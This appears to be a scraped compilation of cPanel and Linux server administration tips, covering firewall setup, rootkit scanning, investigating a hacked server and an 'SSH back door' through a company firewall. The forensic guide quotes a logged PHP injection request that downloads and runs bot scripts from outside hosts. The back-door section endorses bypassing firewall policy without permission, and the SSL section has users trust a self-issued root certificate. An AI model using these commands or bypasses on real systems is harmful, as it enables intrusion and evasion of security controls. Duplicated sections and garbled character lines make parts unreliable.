cPanel certificate error: Security issues? Why?

Is your SSL valid?

This certificate in fact is valid and your connection is secured. This means that all data you exchange with our server is protected and nobody except you and our server know what you do in the cPanel.

But why do I get the "untrusted" message?

It looks untrusted to third-parties authorities. This is true, because the certificate was issued by us and but not them and they just can't verify it.

Disabling that annoying SSL reminder:

In FireFox

If you see the "This Connection is Untrusted" message

1. Please click on "I understand the risks"


2. and then click on the "Add exception" button that will appear


3. Make sure the "Permanently store this exception" check-box is checked


4. Click on "Confirm this security exception"

This will add our certificate to your operating system permanently and will not warn you anymore again for that particular site

In Internet Explorer

1. Download our certificates: one, two


2. Extract the certificates from the archive to your hard disk


3. Open Internet Explorer, select Tools and Internet Options


4. Select the Content tab and click the Certificates button


5. In the new Certificates window select the Trusted Root Certification Authorities tab


6. Click Import..., Next, then select whmcertificate.crt, click Next and Finish


7. When asked if you want to import a new certificate click YES


8. Restart Internet Explorer

Determine if a server is hacked

This guide is not meant to be all inclusive for figuring out if a server is hacked however it should give you a pretty good idea if a server is hacked the method used. This guide is going to focus on getting hacked via a php injection attack which is the most common today. There are certainly others but chances are if the server has been compromised by a script kiddie you will be able to find it via this guide. As long as the server has not been rooted it is generally possible to clean up and find all of the tools and scripts that were put on the server. Once a server has been rooted it is impossible to determine without a doubt that you have cleared everything out and what can or cannot be trusted. Once a server has been rooted for sure the server should be reformated/reimaged before it is put back into production. If you are ever unsure of where to go next or woud like to hire somebody to take care of this please take a look TotalServerSolutionswhich is a company that I run and work for is very familiar with handling these types of problems and preventing them from happening. . Of course if you have had the server hacked once you need to make sure and secure it so that it does not get hacked as soon as it is put online again.

The first step is to look at rkhunter and see if it reports anything that is bad. If rkhunter reports that the server has been rooted it is probably going to best to reimage the server once the method of intrusion has been determined.

Download and unzip rkhunter
—–command—–
cd /usr/local/src/
wget http://downloads.rootkit.nl/rkhunter-1.2.1.tar.gz
tar -zxf rkhunter-1.2.1.tar.gz
cd rkhunter
—–command—–

Install and run it
—–command—–
./installer.sh
rkhunter -c
—–command—–

If you are unsure of the output either look on google or you can post it here and I can try to help.

If that does not turn up anything and you are still having issues with the server sending out a DOS attack, hosting a botnet, or some other “bad” activity the next thing to check into how apache may have been used to exploit the server. This part is going to be hard for many that are not experienced with server administration because you have to be aware of what is normal and what is not. The directories that I am going to reference will have legitimate files but may also contain the scripts used to hacked or send out an attack.

Go ahead and look in /tmp first and delete the uneeded files that are normal

cd /tmp
rm -rf sess*
rm -rf ssh-*
rm -rf dos-*
ls -alh

On a normal basis the files are fine, the files are only being deleted now to aid in determining what is a legitmate file. The files that are going to be of interest are anything that are bold or green because that means that they can be executed. Typically the hacked files are going to have names that use numbers in the names, end in .pl (perl files), or simply look different from everything else in /tmp. It is impossible to make a list of everything, this is going to be where experience counts as to determining if something is in fact a “bad” file. If youare unsure of the file head over to google and search the name. If it is infact some sort of a rootkit or script you will probably find references to it and what it does.

Another thing to look at is who the file is owned by. If a file is owned by the user and group nobody it was probably created by apache. These files are going to be of particular interest during an investigation.

Make sure to look at the very top for a directory named …, .tmp, or anything with a period at the begining as that means it is a hidden file, something that normally would not be in tmp. If you find nothing in /tmp also check /var/tmp and /dev/shm. These directories are where most scripts are stored but it does not mean it is the only place they may be! It might require some more investigation as to what is happening if you are unable to determine what happened from the above.

Once you find the file you can start the investigation as to what went wrong. The best bet is going to be to look in /usr/local/apache/logs and /usr/local/apache/domlogs and to use the egrep command to search the files. For instance if you have the scriptr r0nin in /tmp you will want to go ahead and check how exactly it got in.

egrep r0nin *
Chances are you are going to see something like this:

Request: XXXXXXXXX – - [30/Apr/2005:10:41:20 -0400
] “GET /index.php?t=5704&rush=%65%63%68%6F%20
%5F%53%54%41%52%54%5F%3B%20cd%%2020/tmp;
mkdir%20.temp22;cd%20.temp22;wget%20http://www.xxx-
aane.com/pics/bot.htm;wget%20http://xxx.com/.notes/ssh2.h
tm;perl%20ssh2.htm;rm%20ssh.htm;perl%20bot.h%20tm;
rm%20bot.htm%3B%20%65%63%68%6F%20%5F%45%
4E%44%5%20F&highlight=%2527.%70%61%73%73
%74%68%72%75%28%24%48%%2054%54%50%5
F%47%45%54%5F%56%41%52%53%5B%72%75%73%
68%20%5D%29.%2527?; HTTP/1.1? 403 219
(I have XXX’ed out some information)

If you do in fact find something like the above, there are many variations so it will not look exactly like that, then you were probably hacked via a mysql injection. To further prove that this is the case you can look at the timestamp on the file and the timestamp in the logs.

One nice tool to use to look into what else might be hacked is the command lsof. This command will let you see all files are are currently being accessed by a given user. First stop apache then run lsof to see what files it is using, the reason it must first be stopped is that if you do not there will be a huge list of libs and other files listed.

service httpd stop
lsof -u nobody

Looking at the lsoof output you may be able to find some other directories that are being used. Again here is something where looking at the naming will help, if some directory looks out of place take a look at it and you may be able to find something.

If that fails you can also use the ps command to try and find the offending process and track it down. Use

ps -aux

To look at everything that is running. Most times it is going to be hard pretty hard to just look at everything if you are not very familiar with what is going on and spot the offending process. I would go ahead and start out looking for only perl scripts since they are popular right now:

ps -aux |grep perl

If you do find something go ahead and search the drive for the file then open it with pico, you should be able to look at the commenting in the code to find out what sort of things it is capable of. Luckily most of the script kiddies have a section at the top that describes the file and what it does.

find / |grep somesript.pl

then edit it via:
pico -w /location/of/script.pl

Hopefully this guide will help you out in determining if a server has been hacked and a very basic way to analzye it. Generally doing what I posted above should help you find at least one of the offending processes if a server was in fact hacked. I am going to try to slowly add more information to this guide so if you have any suggestions please feel free to post them below. I am always very open to new ideas on how to do things or different ways of looking at something. If after you have followed this guide and you are unsure of what to do next consider hiring the company that I run, TotalServerSolutions, we are very familiar with locating and helping clean up after an attack. We can also secure your server to stop the server from even being hacked in the first place.

How To Install rootcheck

"Rootcheck is an open source rootkit detection software. It scans the whole system looking for known rootkits and also for the presence of unknown rootkits and kernel level ones using anomaly detection. Rootcheck is also integrated with the OSSEC HIDS, providing a powerful host-based IDS solution. It includes log analysis, file integrity change detection and rootkit detection (all in one simple to use package). "

Download rootcheck source and install:
# wget http://www.ossec.net/rootcheck/files/rootcheck-0.7.tar.gz
# tar -xvzf rootcheck-0.7.tar.gz
# cd rootcheck-0.7
# ./install
# ./rootcheck.pl

It should be fine.

How to remove the blocked ip using iptables

1. First check that ip is blocked or not


2. iptables –L –n | grep

DROP all -- 125.99.10.123 216.240.157.91

1. to unblock the ip give the command

iptables -D INPUT -s 125.99.10.123 -d 216.240.157.91 -j DROP

Now the ip is unblocked.

How to disable and uninstall APF Firewall Script

Q. How do I uninstall and disable APF Firewall script under CentOS / Red Hat Enterprise Linux without breaking anything else?

A. You can easily disable and uninstall APF firewall script under any Linux distributions. Simply type the following command as root user.

Linux Remove APF firewall

Type the following commands:

# service iptables stop
# chkconfig apf off
# /bin/rm -rfv /etc/apf
# /bin/rm -fv /etc/cron.daily/fw
# /bin/rm -fv /etc/init.d/apf
# iptables -L -n

SSH back door

Many times I'll be at a site where I need remote support from someone who is blocked on the outside by a company firewall. Few people realize that if you can get out to the world through a firewall, then it is relatively easy to open a hole so that the world can come into you.

In its crudest form, this is called "poking a hole in the firewall." I'll call it an SSH back door. To use it, you'll need a machine on the Internet that you can use as an intermediary.

In our example, we'll call our machine blackbox.example.com. The machine behind the company firewall is called ginger. Finally, the machine that technical support is on will be called tech. Figure 4 explains how this is set up.

Figure 4. Poking a hole in the firewall
Here's how to proceed:
1. Check that what you're doing is allowed, but make sure you ask the right people. Most people will cringe that you're opening the firewall, but what they don't understand is that it is completely encrypted. Furthermore, someone would need to hack your outside machine before getting into your company. Instead, you may belong to the school of "ask-for-forgiveness-instead-of-permission." Either way, use your judgment and don't blame me if this doesn't go your way.

2. SSH from ginger to blackbox.example.com with the -R flag. I'll assume that you're the root user on ginger and that tech will need the root user ID to help you with the system. With the -R flag, you'll forward instructions of port 2222 on blackbox to port 22 on ginger. This is how you set up an SSH tunnel. Note that only SSH traffic can come into ginger: You're not putting ginger out on the Internet naked.

You can do this with the following syntax:

~# ssh -R 2222:localhost:22 thedude@blackbox.example.com

Once you are into blackbox, you just need to stay logged in. I usually enter a command like:

thedude@blackbox:~$ while [ 1 ]; do date; sleep 300; done

to keep the machine busy. And minimize the window.
3. Now instruct your friends at tech to SSH as thedude into blackbox without using any special SSH flags. You'll have to give them your password:

root@tech:~# ssh thedude@blackbox.example.com .
4. Once tech is on the blackbox, they can SSH to ginger using the following command:

thedude@blackbox:~$: ssh -p 2222 root@localhost
5. Tech will then be prompted for a password. They should enter the root password of ginger.

?»??_?????^?????_?????~??V?_????? – ?Ú?????«?

??g?_g????^?????_g????~????_g???? – ?????????

@%@ ??_?????^?????_?????~??V?_????? – ?Ú????? %$%

@(o.o~)?g?_g????^?????_g????~????_g???? – ????????(~o.o)@

SSH back door

Many times I'll be at a site where I need remote support from someone who is blocked on the outside by a company firewall. Few people realize that if you can get out to the world through a firewall, then it is relatively easy to open a hole so that the world can come into you.

In its crudest form, this is called "poking a hole in the firewall." I'll call it an SSH back door. To use it, you'll need a machine on the Internet that you can use as an intermediary.

In our example, we'll call our machine blackbox.example.com. The machine behind the company firewall is called ginger. Finally, the machine that technical support is on will be called tech. Figure 4 explains how this is set up.

Figure 4. Poking a hole in the firewall
Here's how to proceed:
1. Check that what you're doing is allowed, but make sure you ask the right people. Most people will cringe that you're opening the firewall, but what they don't understand is that it is completely encrypted. Furthermore, someone would need to hack your outside machine before getting into your company. Instead, you may belong to the school of "ask-for-forgiveness-instead-of-permission." Either way, use your judgment and don't blame me if this doesn't go your way.

2. SSH from ginger to blackbox.example.com with the -R flag. I'll assume that you're the root user on ginger and that tech will need the root user ID to help you with the system. With the -R flag, you'll forward instructions of port 2222 on blackbox to port 22 on ginger. This is how you set up an SSH tunnel. Note that only SSH traffic can come into ginger: You're not putting ginger out on the Internet naked.

You can do this with the following syntax:

~# ssh -R 2222:localhost:22 thedude@blackbox.example.com

Once you are into blackbox, you just need to stay logged in. I usually enter a command like:

thedude@blackbox:~$ while [ 1 ]; do date; sleep 300; done

to keep the machine busy. And minimize the window.
3. Now instruct your friends at tech to SSH as thedude into blackbox without using any special SSH flags. You'll have to give them your password:

root@tech:~# ssh thedude@blackbox.example.com .
4. Once tech is on the blackbox, they can SSH to ginger using the following command:

thedude@blackbox:~$: ssh -p 2222 root@localhost
5. Tech will then be prompted for a password. They should enter the root password of ginger.

?»??_?????^?????_?????~??V?_????? – ?Ú?????«?

??g?_g????^?????_g????~????_g???? – ?????????

@%@ ??_?????^?????_?????~??V?_????? – ?Ú????? %$%

@(o.o~)?g?_g????^?????_g????~????_g???? – ????????(~o.o)@

AntiDOS Configuration in APF on cPanel web serverAntiDOS Configuration in APF on cPanel web server

It is assumed that you have already installed APF (Advanced policy firewall) on your cPanel dedicated web server. Once, APF is installed do the following:

Edit the antidos configuration file of APF with the command:

nano /etc/apf/ad/conf.antidos

Find the string LP_KLOG=”0? and change it to LP_KLOG=”1?

Now, find for CONAME=”Your Company”

Enter your company name within quotes for example

CONAME=”SupportFacility.Com”

Now find for the string USR_ALERT=”0? and change it to USR_ALERT=”1?

This is so that you can receive email alerts.

Now enter your email address here:

USR=”something@yourdomain.com”

Now you have to set it in cron for this give the following command:

crontab –e

*/5 * * * * root /etc/apf/ad/antidos -a >> /dev/null 2>&1

This will run antidos every five minutes.

How to Setup the firewall for Passive FTP

Setting up the firewall for Passive FTP: (APF Firewall)

1.Open your APF configuration file with your favorite editor. This configuration file is usually located at: # /etc/apf/conf.apf

# vi /etc/apf/conf.apf

2. Select a port range to use for the passive FTP connection, and find the line that looks like this:

IG_TCP_CPORTS=”20, 21, 22, 25, 53, 80, 110, 143, 443, 465, 993, 995, 2082, 2083, 2086, 2087, 2095, 2096, 3306?

If this list of ports already includes a port range above 20000, then you can skip onto configuring your FTP Server, but remeber the range listed. (20000 to 30000 would be written as 20000_30000)

3. Add the port range to the end of the line and within the quotation marks(”). Remeber each port/port range is seperated by a comman(,), and a port range between 35000 to 36000 is written as 35000_36000 .

IG_TCP_CPORTS=”20, 21, 22, 25, 53, 80, 110, 143, 443, 465, 993, 995, 2082, 2083, 2086, 2087, 2095, 2096, 3306, 35000_36000?

3. Save and restart your firewall.

To restart your firewall:

/etc/init.d/apf restarts not.

Setting up the firewall for Passive FTP: (APF Firewall)

1.Open your APF configuration file with your favorite editor. This configuration file is usually located at:

# /etc/apf/conf.apf

# vi /etc/apf/conf.apf

2. Select a port range to use for the passive FTP connection, and find the line that looks like this:

IG_TCP_CPORTS=”20, 21, 22, 25, 53, 80, 110, 143, 443, 465, 993, 995, 2082, 2083, 2086, 2087, 2095, 2096, 3306?

If this list of ports already includes a port range above 20000, then you can skip onto configuring your FTP Server, but remeber the range listed. (20000 to 30000 would be written as 20000_30000)

3. Add the port range to the end of the line and within the quotation marks(”). Remeber each port/port range is seperated by a comman(,), and a port range between 35000 to 36000 is written as 35000_36000 .

IG_TCP_CPORTS=”20, 21, 22, 25, 53, 80, 110, 143, 443, 465, 993, 995, 2082, 2083, 2086, 2087, 2095, 2096, 3306, 35000_36000?

3. Save and restart your firewall.

To restart your firewall:

/etc/init.d/apf restarts not.

How to install APF (Advanced Policy Firewall)

Requirements:
- Root SSH access to your server

Lets begin!
Login to your server through SSH and su to the root user.

1. cd /root/downloads or another temporary folder where you store your files.

2. wget http://www.rfxnetworks.com/downloads/apf-current.tar.gz

3. tar -xvzf apf-current.tar.gz

4. cd apf-0.9.5-1/ or whatever the latest version is.

5. Run the install file: ./install.sh
You will receive a message saying it has been installed

Installing APF 0.9.5-1: Completed.
Installation Details:
Install path: /etc/apf/
Config path: /etc/apf/conf.apf
Executable path: /usr/local/sbin/apf
AntiDos install path: /etc/apf/ad/
AntiDos config path: /etc/apf/ad/conf.antidos
DShield Client Parser: /etc/apf/extras/dshield/
Other Details:
Listening TCP ports: 1,21,22,25,53,80,110,111,143,443,465,993,995,2082, 2083,2086,2087,2095,2096,3306
Listening UDP ports: 53,55880
Note: These ports are not auto-configured; they are simply presented for information purposes. You must manually configure all port options.

6. Lets configure the firewall: pico /etc/apf/conf.apf
We will go over the general configuration to get your firewall running. This isn’t a complete detailed guide of every feature the firewall has. Look through the README and the configuration for an explanation of each feature.We like to use DShield.org’s “block” list of top networks that have exhibited
suspicious activity.
FIND: USE_DS=”0?
CHANGE TO: USE_DS=”1?

7. Configuring Firewall Ports:

Cpanel Servers
We like to use the following on our Cpanel Servers

Common ingress (inbound) ports
# Common ingress (inbound) TCP ports -3000_3500 = passive port range for Pure FTPD
IG_TCP_CPORTS=”21,22,25,53,80,110,143,443,2082,208 3, 2086,2087, 2095, 2096,3000_3500?
#
# Common ingress (inbound) UDP ports
IG_UDP_CPORTS=”53?

Common egress (outbound) ports
# Egress filtering [0 = Disabled / 1 = Enabled]
EGF=”1?

# Common egress (outbound) TCP ports
EG_TCP_CPORTS=”21,25,80,443,43,2089?
#
# Common egress (outbound) UDP ports
EG_UDP_CPORTS=”20,21,53?

Ensim Servers
We have found the following can be used on Ensim Servers – although we have not tried these ourselves as I don’t run Ensim boxes.

Common ingress (inbound) ports
# Common ingress (inbound) TCP ports
IG_TCP_CPORTS=”21,22,25,53,80,110,143,443,19638?
#
# Common ingress (inbound) UDP ports
IG_UDP_CPORTS=”53?

Common egress (outbound) ports
# Egress filtering [0 = Disabled / 1 = Enabled]
EGF=”1?

# Common egress (outbound) TCP ports
EG_TCP_CPORTS=”21,25,80,443,43?
#
# Common egress (outbound) UDP ports
EG_UDP_CPORTS=”20,21,53?

Save the changes: Ctrl+X then Y

8. Starting the firewall
/usr/local/sbin/apf -s

Other commands:
usage ./apf [OPTION]
-s|–start ……………………. load firewall policies
-r|–restart ………………….. flush & load firewall
-f|–flush|–stop ……………… flush firewall
-l|–list …………………….. list chain rules
-st|–status ………………….. firewall status
-a HOST CMT|–allow HOST COMMENT … add host (IP/FQDN) to allow_hosts.rules and
immediately load new rule into firewall
-d HOST CMT|–deny HOST COMMENT …. add host (IP/FQDN) to deny_hosts.rules and
immediately load new rule into firewall

9. After everything is fine, change the DEV option
Stop the firewall from automatically clearing itself every 5 minutes from cron.
We recommend changing this back to “0? after you’ve had a chance to ensure everything is working well and tested the server out.

pico /etc/apf/conf.apf

FIND: DEVM=”1?
CHANGE TO: DEVM=”0?

10. Configure AntiDOS for APF
Relatively new to APF is the new AntiDOS feature which can be found in: /etc/apf/ad
The log file will be located at /var/log/apfados_log so you might want to make note of it and watch it!

pico /etc/apf/ad/conf.antidos

There are various things you might want to fiddle with but I’ll get the ones that will alert you by email.
# [E-Mail Alerts]
Under this heading we have the following:

# Organization name to display on outgoing alert emails
CONAME=”Your Company”
Enter your company information name or server name..

# Send out user defined attack alerts [0=off,1=on]
USR_ALERT=”0?
Change this to 1 to get email alerts

# User for alerts to be mailed to
USR=”your@email.com”
Enter your email address to receive the alerts

Save your changes! Ctrl+X then press Y
Restart the firewall: /usr/local/sbin/apf -r

11. Checking the APF Log

Will show any changes to allow and deny hosts among other things.
tail -f /var/log/apf_log

Example output:
Aug 23 01:25:55 ocean apf(31448): (insert) deny all to/from 185.14.157.123
Aug 23 01:39:43 ocean apf(32172): (insert) allow all to/from 185.14.157.123

12. New – Make APF Start automatically at boot time
To autostart apf on reboot, run this:
chkconfig –level 2345 apf on
To remove it from autostart, run this:
chkconfig –del apf

13. Denying IPs with APF Firewall (Blocking)
Now that you have your shiny new firewall you probably want to block a host right, of course you do! With this new version APF now supports comments as well. There are a few ways you can block an IP, I’ll show you 2 of the easier methods.
A) /etc/apf/apf -d IPHERE COMMENTHERENOSPACES
> The -d flag means DENY the IP address
> IPHERE is the IP address you wish to block
> COMMENTSHERENOSPACES is obvious, add comments to why the IP is being blocked
These rules are loaded right away into the firewall, so they’re instantly active.
Example:

./apf -d 185.14.157.123 TESTING

pico /etc/apf/deny_hosts.rules

Shows the following:

# added 185.14.157.123 on 08/23/05 01:25:55
# TESTING
185.14.157.123

B) pico /etc/apf/deny_hosts.rules
You can then just add a new line and enter the IP you wish to block. Before this becomes active though you’ll need to reload the APF ruleset.

/etc/apf/apf -r

14. Allowing IPs with APF Firewall (Unblocking)

I know I know, you added an IP now you need it removed right away! You need to manually remove IPs that are blocked from deny_hosts.rules.
A)
pico /etc/apf/deny_hosts.rules

Find where the IP is listed and remove the line that has the IP.
After this is done save the file and reload apf to make the new changes active.

/etc/apf/apf -r

B) If the IP isn’t already listed in deny_hosts.rules and you wish to allow it, this method adds the entry to allow_hosts.rules

/etc/apf/apf -a IPHERE COMMENTHERENOSPACES
> The -a flag means ALLOW the IP address
> IPHERE is the IP address you wish to allow
> COMMENTSHERENOSPACES is obvious, add comments to why the IP is being removed These rules are loaded right away into the firewall, so they’re instantly active.
Example:

./apf -a 185.14.157.123 UNBLOCKING

pico /etc/apf/allow_hosts.rules

# added 185.14.157.123 on 08/23/05 01:39:43
# UNBLOCKING
185.14.157.123

How to install APF (Advanced Policy Firewall)

Requirements:
- Root SSH access to your server

Lets begin!
Login to your server through SSH and su to the root user.

1. cd /root/downloads or another temporary folder where you store your files.

2. wget http://www.rfxnetworks.com/downloads/apf-current.tar.gz

3. tar -xvzf apf-current.tar.gz

4. cd apf-0.9.5-1/ or whatever the latest version is.

5. Run the install file: ./install.sh
You will receive a message saying it has been installed

Installing APF 0.9.5-1: Completed.
Installation Details:
Install path: /etc/apf/
Config path: /etc/apf/conf.apf
Executable path: /usr/local/sbin/apf
AntiDos install path: /etc/apf/ad/
AntiDos config path: /etc/apf/ad/conf.antidos
DShield Client Parser: /etc/apf/extras/dshield/
Other Details:
Listening TCP ports: 1,21,22,25,53,80,110,111,143,443,465,993,995,2082, 2083,2086,2087,2095,2096,3306
Listening UDP ports: 53,55880
Note: These ports are not auto-configured; they are simply presented for information purposes. You must manually configure all port options.

6. Lets configure the firewall: pico /etc/apf/conf.apf
We will go over the general configuration to get your firewall running. This isn’t a complete detailed guide of every feature the firewall has. Look through the README and the configuration for an explanation of each feature.We like to use DShield.org’s “block” list of top networks that have exhibited
suspicious activity.
FIND: USE_DS=”0?
CHANGE TO: USE_DS=”1?

7. Configuring Firewall Ports:

Cpanel Servers
We like to use the following on our Cpanel Servers

Common ingress (inbound) ports
# Common ingress (inbound) TCP ports -3000_3500 = passive port range for Pure FTPD
IG_TCP_CPORTS=”21,22,25,53,80,110,143,443,2082,208 3, 2086,2087, 2095, 2096,3000_3500?
#
# Common ingress (inbound) UDP ports
IG_UDP_CPORTS=”53?

Common egress (outbound) ports
# Egress filtering [0 = Disabled / 1 = Enabled]
EGF=”1?

# Common egress (outbound) TCP ports
EG_TCP_CPORTS=”21,25,80,443,43,2089?
#
# Common egress (outbound) UDP ports
EG_UDP_CPORTS=”20,21,53?

Ensim Servers
We have found the following can be used on Ensim Servers – although we have not tried these ourselves as I don’t run Ensim boxes.

Common ingress (inbound) ports
# Common ingress (inbound) TCP ports
IG_TCP_CPORTS=”21,22,25,53,80,110,143,443,19638?
#
# Common ingress (inbound) UDP ports
IG_UDP_CPORTS=”53?

Common egress (outbound) ports
# Egress filtering [0 = Disabled / 1 = Enabled]
EGF=”1?

# Common egress (outbound) TCP ports
EG_TCP_CPORTS=”21,25,80,443,43?
#
# Common egress (outbound) UDP ports
EG_UDP_CPORTS=”20,21,53?

Save the changes: Ctrl+X then Y

8. Starting the firewall
/usr/local/sbin/apf -s

Other commands:
usage ./apf [OPTION]
-s|–start ……………………. load firewall policies
-r|–restart ………………….. flush & load firewall
-f|–flush|–stop ……………… flush firewall
-l|–list …………………….. list chain rules
-st|–status ………………….. firewall status
-a HOST CMT|–allow HOST COMMENT … add host (IP/FQDN) to allow_hosts.rules and
immediately load new rule into firewall
-d HOST CMT|–deny HOST COMMENT …. add host (IP/FQDN) to deny_hosts.rules and
immediately load new rule into firewall

9. After everything is fine, change the DEV option
Stop the firewall from automatically clearing itself every 5 minutes from cron.
We recommend changing this back to “0? after you’ve had a chance to ensure everything is working well and tested the server out.

pico /etc/apf/conf.apf

FIND: DEVM=”1?
CHANGE TO: DEVM=”0?

10. Configure AntiDOS for APF
Relatively new to APF is the new AntiDOS feature which can be found in: /etc/apf/ad
The log file will be located at /var/log/apfados_log so you might want to make note of it and watch it!

pico /etc/apf/ad/conf.antidos

There are various things you might want to fiddle with but I’ll get the ones that will alert you by email.
# [E-Mail Alerts]
Under this heading we have the following:

# Organization name to display on outgoing alert emails
CONAME=”Your Company”
Enter your company information name or server name..

# Send out user defined attack alerts [0=off,1=on]
USR_ALERT=”0?
Change this to 1 to get email alerts

# User for alerts to be mailed to
USR=”your@email.com”
Enter your email address to receive the alerts

Save your changes! Ctrl+X then press Y
Restart the firewall: /usr/local/sbin/apf -r

11. Checking the APF Log

Will show any changes to allow and deny hosts among other things.
tail -f /var/log/apf_log

Example output:
Aug 23 01:25:55 ocean apf(31448): (insert) deny all to/from 185.14.157.123
Aug 23 01:39:43 ocean apf(32172): (insert) allow all to/from 185.14.157.123

12. New – Make APF Start automatically at boot time
To autostart apf on reboot, run this:
chkconfig –level 2345 apf on
To remove it from autostart, run this:
chkconfig –del apf

13. Denying IPs with APF Firewall (Blocking)
Now that you have your shiny new firewall you probably want to block a host right, of course you do! With this new version APF now supports comments as well. There are a few ways you can block an IP, I’ll show you 2 of the easier methods.
A) /etc/apf/apf -d IPHERE COMMENTHERENOSPACES
> The -d flag means DENY the IP address
> IPHERE is the IP address you wish to block
> COMMENTSHERENOSPACES is obvious, add comments to why the IP is being blocked
These rules are loaded right away into the firewall, so they’re instantly active.
Example:

./apf -d 185.14.157.123 TESTING

pico /etc/apf/deny_hosts.rules

Shows the following:

# added 185.14.157.123 on 08/23/05 01:25:55
# TESTING
185.14.157.123

B) pico /etc/apf/deny_hosts.rules
You can then just add a new line and enter the IP you wish to block. Before this becomes active though you’ll need to reload the APF ruleset.

/etc/apf/apf -r

14. Allowing IPs with APF Firewall (Unblocking)

I know I know, you added an IP now you need it removed right away! You need to manually remove IPs that are blocked from deny_hosts.rules.
A)
pico /etc/apf/deny_hosts.rules

Find where the IP is listed and remove the line that has the IP.
After this is done save the file and reload apf to make the new changes active.

/etc/apf/apf -r

B) If the IP isn’t already listed in deny_hosts.rules and you wish to allow it, this method adds the entry to allow_hosts.rules

/etc/apf/apf -a IPHERE COMMENTHERENOSPACES
> The -a flag means ALLOW the IP address
> IPHERE is the IP address you wish to allow
> COMMENTSHERENOSPACES is obvious, add comments to why the IP is being removed These rules are loaded right away into the firewall, so they’re instantly active.
Example:

./apf -a 185.14.157.123 UNBLOCKING

pico /etc/apf/allow_hosts.rules

# added 185.14.157.123 on 08/23/05 01:39:43
# UNBLOCKING
185.14.157.123

WHM locked out - cphulkd(burte force error)

While trying to browse the site, if you get this
--------------------------------------------------------------------------------------------
The requested URL /suspended.page/ was not found on this server. Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.
------------------------------------------------------------------------------------------
It could be due to due to Brute force attempt was detected.

Brute Force Protection
This account is currently locked out because a brute force attempt was detected.
Please wait 10 minutes and try again. Attempting to login again will only increase this delay.
If you frequently experience this problem, we recommend having your username changed to something less generic.

Solution / Fix

Account Locks Out Due to Brute Force Protection in cPanel WebHost Manager (WHM)

login via ssh and disable cphulkd using the command below.

root@HOST [~]# /usr/local/cpanel/etc/init/stopcphulkd

This should allow you to login to WHM and double check your cphulk settings.

You can view IP addresses that have been blocked via the WHM interface: WHM -> Security -> Security Center -> cPHulk Brute Force Protection in the Brutes table. On that screen, you can also customize brute force protection settings.

Then log into your WHM >> Security Center >> cPHulk Brute Force Protection >> Flush DB

Make Sure to restart cphulkd protection from SSH, simply fire the following command

root@HOST [~]# /usr/local/cpanel/etc/init/startcphulkd

Well the other way to this is to remove the IP’s blocked by cPHulk from its database .

ssh to the server login as root and type the following at the prompt

[root@server:] mysql

mysql> use cphulkd;

mysql>BACKUP TABLE brutes TO ‘/path/to/backup/directory’;

mysql> SELECT * FROM brutes WHERE `IP`=’xxx.xxx.xxx.xxx’;

mysql> DELETE FROM brutes WHERE `IP`=’xxx.xxx.xxx.xxx’;

mysql>quit

How to install the APF Firewall

This guide will show you how to install and configure APF firewall, one of the better known Linux firewalls available.10

1. cd /root/downloads or another temporary folder where you store your files.

2. wget http://www.rfxnetworks.com/downloads/apf-current.tar.gz

3. tar -xvzf apf-current.tar.gz



4. cd apf-0.9.5-1/ or whatever the latest version is.

5. Run the install file: ./install.sh
You will receive a message saying it has been installed

Installing APF 0.9.5-1: Completed.
Installation Details:
Install path: /etc/apf/
Config path: /etc/apf/conf.apf
Executable path: /usr/local/sbin/apf
AntiDos install path: /etc/apf/ad/
AntiDos config path: /etc/apf/ad/conf.antidos
DShield Client Parser: /etc/apf/extras/dshield/
Other Details:
Listening TCP ports: 1,21,22,25,53,80,110,111,143,443,465,993,995,2082, 2083,2086,2087,2095,2096,3306
Listening UDP ports: 53,55880
Note: These ports are not auto-configured; they are simply presented for information purposes. You must manually configure all port options.

6. Lets configure the firewall: pico /etc/apf/conf.apf
We will go over the general configuration to get your firewall running. This isn't a complete detailed guide of every feature the firewall has. Look through the README and the configuration for an explanation of each feature.We like to use DShield.org's "block" list of top networks that have exhibited
suspicious activity.
FIND: USE_DS="0"
CHANGE TO: USE_DS="1"

7. Configuring Firewall Ports:

Cpanel Servers
We like to use the following on our Cpanel Servers

Common ingress (inbound) ports
# Common ingress (inbound) TCP ports -3000_3500 = passive port range for Pure FTPD
IG_TCP_CPORTS="21,22,25,53,80,110,143,443,2082,208 3, 2086,2087, 2095, 2096,3000_3500"
#
# Common ingress (inbound) UDP ports
IG_UDP_CPORTS="53"

Common egress (outbound) ports
# Egress filtering [0 = Disabled / 1 = Enabled]
EGF="1"

# Common egress (outbound) TCP ports
EG_TCP_CPORTS="21,25,80,443,43,2089"
#
# Common egress (outbound) UDP ports
EG_UDP_CPORTS="20,21,53"

Ensim Servers
We have found the following can be used on Ensim Servers - although we have not tried these ourselves as I don't run Ensim boxes.

Common ingress (inbound) ports
# Common ingress (inbound) TCP ports
IG_TCP_CPORTS="21,22,25,53,80,110,143,443,19638"
#
# Common ingress (inbound) UDP ports
IG_UDP_CPORTS="53"

Common egress (outbound) ports
# Egress filtering [0 = Disabled / 1 = Enabled]
EGF="1"
# Common egress (outbound) TCP ports
EG_TCP_CPORTS="21,25,80,443,43"
#
# Common egress (outbound) UDP ports
EG_UDP_CPORTS="20,21,53"

Save the changes: Ctrl+X then Y

8. Starting the firewall
/usr/local/sbin/apf -s

Other commands:
usage ./apf [OPTION]
-s|--start ......................... load firewall policies
-r|--restart ....................... flush & load firewall
-f|--flush|--stop .................. flush firewall
-l|--list .......................... list chain rules
-st|--status ....................... firewall status
-a HOST CMT|--allow HOST COMMENT ... add host (IP/FQDN) to allow_hosts.rules and
immediately load new rule into firewall
-d HOST CMT|--deny HOST COMMENT .... add host (IP/FQDN) to deny_hosts.rules and
immediately load new rule into firewall

9. After everything is fine, change the DEV option
Stop the firewall from automatically clearing itself every 5 minutes from cron.
We recommend changing this back to "0" after you've had a chance to ensure everything is working well and tested the server out.

pico /etc/apf/conf.apf

FIND: DEVM="1"
CHANGE TO: DEVM="0"

10. Configure AntiDOS for APF
Relatively new to APF is the new AntiDOS feature which can be found in: /etc/apf/ad
The log file will be located at /var/log/apfados_log so you might want to make note of it and watch it!

pico /etc/apf/ad/conf.antidos

There are various things you might want to fiddle with but I'll get the ones that will alert you by email.
# [E-Mail Alerts]
Under this heading we have the following:

# Organization name to display on outgoing alert emails
CONAME="Your Company"
Enter your company information name or server name..

# Send out user defined attack alerts [0=off,1=on]
USR_ALERT="0"
Change this to 1 to get email alerts

# User for alerts to be mailed to
USR="your@email.com"
Enter your email address to receive the alerts

Save your changes! Ctrl+X then press Y
Restart the firewall: /usr/local/sbin/apf -r

11. Checking the APF Log

Will show any changes to allow and deny hosts among other things.
